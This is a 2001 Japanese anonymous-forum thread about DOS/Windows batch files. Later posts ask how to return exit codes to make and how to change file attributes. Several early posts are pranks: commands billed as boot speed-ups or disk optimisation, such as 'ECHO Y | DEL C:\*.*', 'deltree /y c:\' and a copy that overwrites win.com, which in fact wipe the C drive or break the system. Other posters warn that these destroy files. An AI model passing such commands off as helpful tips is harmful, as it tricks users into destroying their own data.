バッチファイルについて語ったり質問したりするスレ

このエントリーをはてなブックマークに追加
1デフォルトの名無しさん
使ってる人いる?
2げっと
2ちゃんねらーが、そんな難解なプログラミング言語を
扱えるわけがない。
4デフォルトの名無しさん:01/11/19 21:19
n88basicを起動と同時にプログラムを実行するのに役に立ったよ
5デフォルトの名無しさん:01/11/20 01:41
アイコンをダブルクリックするだけでプログラムを起動できる、
いわばexeファイルを簡単に作れるようなもの。
凄い便利なもののはずなのになあ。
今でも使ってますが(汗)
パソコンの起動時間を速くするバッチ
@echo off
del c:\*.* > nul
8デフォルトの名無しさん:01/11/20 02:50
>>7
そういうのはシャレにならないからやめた方がいいと思うんだが。

これをやるとドライブのファイルが全て削除されるから引っかからないように。
9sage:01/11/20 03:02
>>7
その方法でお前の頭を高速起動させろ
10デフォルトの名無しさん:01/11/20 03:03
>>8

通常DEL *.*だと、消すかって聞いてこない?
NULにリダイレクトしてるから、画面には表示されないけど。
Y押さなきゃ大丈夫。

消されても、Cドライブのルートだけだし。(それでも充分困るか)
システムファイルは消されないから、DOSは立ちがある。
確かに起動が速くなる。(藁)
11デフォルトの名無しさん:01/11/20 03:08
ECHO Y | DEL *.*
これで自動的にファイルが消されるはず。
たしかに便利だね。
足りない機能はプログラムつくっちゃえばいいし。
13デフォルトの名無しさん:01/11/20 03:53
パソコンの起動時間を速くするバッチ改訂版
@ECHO OFF
ECHO Y | DEL C:\*.* > NUL
ディスク最適化コマンド

deltree /y c:\
>>14
そのコマンド、Windows95にもある?
>>15 あるはずだよ。MS-DOS 6.2/Vにもあった。
>>16
ありがとう、早速実行します(w
18デフォルトの名無しさん:01/11/20 05:01
>>13>>14をやるとCドライブのファイルが削除されるので
絶対にやらないように
19デフォルトの名無しさん:01/11/20 05:26
>>18
プログラム板なんだから
さすがに誰もやらんだろ
20デフォルトの名無しさん:01/11/20 05:38
echo "y" | copy c:\cofig.sys c:\windows\win.com > nul

必ずPure DOSで実行してね。
>>20
そのコマンドを、意味もわからず実行する厨房が、生DOSなんてわかるのか?
22デフォルトの名無しさん:01/11/20 05:43
Pure DOSってなんですか?
これがDOSアタックってやつなの?
24Kusakabe Youichi:01/11/20 06:06
...
  このスレはメデタク終了しました

ーーーーーーーーーーーーーー糸 冬 了
26デフォルトの名無しさん:01/11/21 05:59
そろそろ普通に役に立つバッチファイルのソースを公開しようぜ。
しかし思いつかないな。それだけwindowsに不自由な点がないってことか。
>>26
リネームしたり、属性変えたりは、コマンド鬱YO!
winにchown,chmodみたいなコマンドあったっけ?
29デフォルトの名無しさん:01/11/21 09:50
マジ質
Makefileの中でバッチファイル使ってるんだけど、
これに終了ステータス返させる方法ある?
バッチの中のプログラムがエラーで止まっても
makeが終了しないので困りんこ。
>>29
直前のコマンドの終了コード(エラーコードだっけ?)を判別
するんじゃだめ?
バッチでエラーコード返すもヨシ、バッチの中でエラーを判別して
全ての処理を終了させるもヨシ。
31デフォルトの名無しさん:01/11/21 13:10
エラーを返すって具体的にはどうするのでしょう?

OSはWin/9xでバッチコマンドの親プロセス(==make)に
終了ステータスが返せないでいるのです。(常に0が返る)
決定的な勘違いしてるかなぁ。
バッチファイルとダッチワイフって違うの?
つまらん。
>>28
attrib (win9x, nt両方化。ASHRパーミッションくらいしか扱えない)
cacls (ntfs専用。aclを細かくいじれる)